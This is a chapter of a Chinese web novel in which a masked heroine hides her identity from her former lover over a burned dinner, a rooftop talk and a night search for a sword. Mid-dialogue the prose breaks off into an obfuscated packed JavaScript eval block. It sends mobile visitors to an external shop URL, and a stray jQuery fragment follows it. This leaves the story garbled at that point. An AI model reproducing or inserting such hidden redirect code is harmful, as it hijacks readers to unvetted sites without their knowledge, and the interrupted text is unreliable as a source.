这个宅子里承载了两人互许一生的美好回忆。
江风影满怀期待地想在此做一次红烧肉,却不想手忙脚乱,不是火烧得太旺,就是忘了放油,不是来不及翻炒,就是没放调料,一锅肉炒得焦糊,还溅了一身油星子。
浓烟滚呛,不一会锅边便燃起了火。
谢晴岚赶来时,厨室已经烧着了,锅边的火舌蹿了老高,浓烟滚滚。江风影还在厨室,呛得一声接一声。
她捂住口鼻冲了进去。韩珏在身后跟来。
江风影见二人来仿佛看到了救星,边呛边说:“快……帮我一下。”
话音刚落,谢晴岚已蹲在灶口撤下了火。韩珏盖上锅盖,将案板旁的抹布浸湿,拍去了锅边的火苗,烟雾渐渐淡了些。
三人狼狈地逃出厨室,深深吸了口气。
江风影拂了拂凌乱的发丝,又揉了揉呛得发痒的鼻子,本就灰蒙蒙的脸上又添了几块灰黑。他摊开手,瞧了瞧自己的衣袍,已经脏得不成样子。
谢晴岚瞅着他又好气又好笑,刚想替他擦擦,稍稍抬起的手顿住,转身拉着韩珏左瞧右瞧,擦掉了他额角的黑灰。
韩珏似乎察觉到了,只是微微笑了笑。
两人浓情蜜意的样子江风影看在眼里,不知为何心里发酸,将视线搁在了别处。委屈地小声嘟哝,若晴岚在定会帮他擦得更仔细。
肉是没法吃了,答应做的晚饭也泡了汤。
他赧然道:“对不起,案上还有半块肉,有劳玉晴姑娘再烧顿晚饭。”
谢晴岚暗笑,他这金尊玉贵的少主十指不沾阳春水,想着容易,做起来难。当年还夸下海口,说要天天给她做红烧肉,如今却被熏成了灰老鼠。
刚想应,不料韩珏先开了口,“晚上这顿我来吧。”
“嗯。”谢晴岚颔首,她做的红烧肉还真没韩珏做的味道好。
烟雾散了,韩珏钻进厨室卷起袖子,快速下刀将肉切成了块,在厨室中寻到些香叶、桂皮、八角等调料。
焯水、炒糖色、加香料酱汁翻炒,再加水炖煮收汁,动作娴熟,一气呵成。
江风影跟在韩珏屁股后面瞧得仔细,脑子却没眼睛转得快,见他盛出时香味四溢,当场便要拜他为师。
“韩公子可否教我做这道红烧肉?”
韩珏一笑,“不必那么客气,叫我韩珏就好,若江公子肯学,这也不是什么难事。”
江风影微笑,拱手道:“那好,明日我再买些肉来,还请师傅指教。”
“好说。”
谢晴岚坐在桌旁两手托腮,静静望着二人其乐融融的身影,唇角泛起了笑。若能永远这样该多好,她知道这只是一个不可能实现的美好愿望,也是一个自私的念头。
午时有些余饭,热了热。
韩珏喊来韩英,四人一桌就着一个菜开了饭。
江风影尝了块肉,肥瘦相间,口感软糯,甜香四溢,让人食欲大开。不禁夸赞,“嗯,韩兄果然做得一手好菜,嫂子好福气,这年头会做饭的男子可不多。”
话音刚落,桌上两人僵住,另一人呵呵傻笑。
江风影愣了瞬,难道他说错了什么吗?
一钵肉没多久便扫荡一空,其余三人不约而同的吃完放下碗筷。江风影又是最后一个,收拾、洗碗依旧轮到他。
阁楼屋顶上坐着两人。
谢晴岚托腮望着天边红艳的落日,觉得此时此景美好到忘了所有的烦忧。
她蓦地笑起来,扭头望着韩珏,“没想到你也有些小心思,平日里可没见你吃饭这么快。”
韩珏爽朗一笑,“你今日不悦,便罚他洗碗。”
谢晴岚笑起来,呆愣一阵后又望着快沉到底的落日,垂眸道:“我现在好着呢,人总要往前看,时光也无法回转,过去的便过去吧。”
楼下,韩英两手叉腰,瘪着嘴仰望两人,他们上屋顶从不带他,他也想上去瞧瞧风景,可珏哥哥总以温习功课的理由让他回房学习,现在学堂也上不成,还不带他,太过分了。
忽地他飞了起来,一只手揽着他如云轻上。
江风影与韩英也在屋顶坐下,与二人隔了些距离。韩英向韩珏做了个胜利者的鬼脸。韩珏眉头一升,笑望他,不以为意。
江风影开口道:“此地没有别人,玉晴姑娘为何一直蒙面,不以真面目示人。”
“谁说没有别人,你不就是。”韩英挑起眉梢。
这句话噎得江风影望天长叹,也不知刚才是谁眼巴巴地望着屋顶,又是谁带他上来,得了好处便翻脸不认人。也就是他脾气好,若换了别人铁定暴揍一顿。
“韩英,回房抄道德经。”韩珏来到韩英面前,一把将他拉起来携在腋下,跃下了屋顶。
“欸,珏哥哥我才刚上来,我还帮你说话……”韩英说了一堆,韩珏并没回心转意,他的声音越来越小,直到听不清。
屋上仅剩下两人。
空气突然沉寂下来,谢晴岚攥着腿旁的衣摆搓揉,半晌也说不出话。这沉闷的气氛让她浑身不自在,起身说道:“江公子,我也先走了。”
此话一说她便慌了,方才她竟忘了变声,早知道还不如装个哑巴更省事。
刚欲逃离,对方忽地开了口,声音携着几分急迫,“你到底是谁?”
谢晴岚扭头看他,从容微笑,“我是玉晴,公子何故此问?”
江风影眉头仍蹙着,“刚才你的声音?”
“哦,兴许在屋顶吹了凉风,着凉变了调子。这里有些冷,我还是先回屋了。”
江风影上前几步,“我不信,除非你让我看看面纱下的容貌。”
“江公子,你我男女有别,你已是有妻室的人,我也为人妇,怎好如此唐突?”
“并非有意唐突,你太像一个人,我只看一眼,一眼便好。”
谢晴岚不发一言,心中似乎在赌什么,手绕到脑后松解了面纱。
面纱垂落,江风影一惊,刚欲喊出晴岚,在细看下又收了声,他的手蜷缩着紧了紧。眼前的女子果然只是像罢了,即便是眼神也无见他时的爱意。
“对不起,我认错了人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099597|136887||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”他垂下眸,眼中的光随着隐没的落日渐渐暗淡。
谢晴岚不敢见他忧伤到让人心疼的目光,脚尖一抬便如白色飞花悠然而降。
身后追来一人,似乎仍不死心,“等等!”
“江公子还有何事?”
江风影在她身后一丈处,伸出的手又缩了回去。他本想仔细瞧瞧是否有易容,可那样对韩珏的未婚妻似乎有些太无礼。
“没什么。”他转身回了枫吟居。
谢晴岚紧绷的心松了下来,回眸望着渐行渐远的身影,眼角有抹淡淡的忧伤。
韩珏却在折桂居的门前远远望着她。
夜里,韩英早已呼呼入睡,余下三人躺在床上各有各的心事。
谢晴岚枕着臂,细思着白日未来得及想的事。
他怎就抛下有孕的妻子,冒这么大的险去夜探凌霄宫?他想偷回玄影剑替她报仇吗?如今凌霄宫已涉及所有人的安危,难道真要东躲西藏一辈子吗?不……
一道影子晃过了窗棂,谢晴岚心中一动,在暗处不发一声佯装熟睡,针已夹在指间,只见那人翻窗而入,在床旁窸窸窣窣翻找什么。
屋里除了窗口漆黑一团,谢晴岚悄悄坐起来,心想这荒宅内还能出毛贼不成?不待他反应一手掐住他的颈,针抵在他的颈上,刚欲开口斥问,想起什么,变声道:“你是何人?想干嘛?”
那针尖锋利,刚触上便渗出血珠。
两人近到呼吸可闻,谢晴岚似乎嗅到了熟悉的气息,随即撤了针,却紧抓着他的手臂不放。
黑暗中沉默了片刻,对方气息急促,干笑了两声,“是我,抱歉,我走错房间了。”
是江风影的声音。
谢晴岚一惊,面色红到了耳根,掩在黑暗的夜中不着痕迹。这家伙半夜偷摸到女子房内干嘛?阁楼与枫吟阁一个在天一个在地,八竿子都打不着,这理由也太过好笑。她旋即抓住了他的臂,“走错了房间?错的也太离谱了吧?”
江风影见对方不给台阶,若被韩兄见到岂不是跳进黄河洗不清,讪讪道:“玉晴姑娘,你可否先放手?”
谢晴岚松了手,温和地指使,“去把灯点上。”
江风影乖乖照做,一豆灯跳跃,整间房亮了。
谢晴岚已穿好了衣,坐在塌上。
“说吧,你来想做什么?”
江风影站着太高,在她抬眸的审视下似乎有些不自在,便在案旁的凳子上坐下,“那我直说了,姑娘将玄影剑藏在了何处?”
谢晴岚冷笑一声,从塌上取出剑抛了过去,“你可看仔细了。”
江风影见剑大喜,可在抽出那刻唇角又绷直了,对方没说谎,的确是把假的。
他不禁纳闷这到底是怎么回事?难道青幂骗了他?还是玉箫公子骗了所有的人?心中疑窦丛生,又想这女子与韩珏为何会去盗剑?韩珏又为何突然就还俗了?
正疑惑着,谢晴岚开了口,“江公子,我有一事相求,可否答应?”
“玉晴姑娘尽管开口,若有我能办到的必当办到。”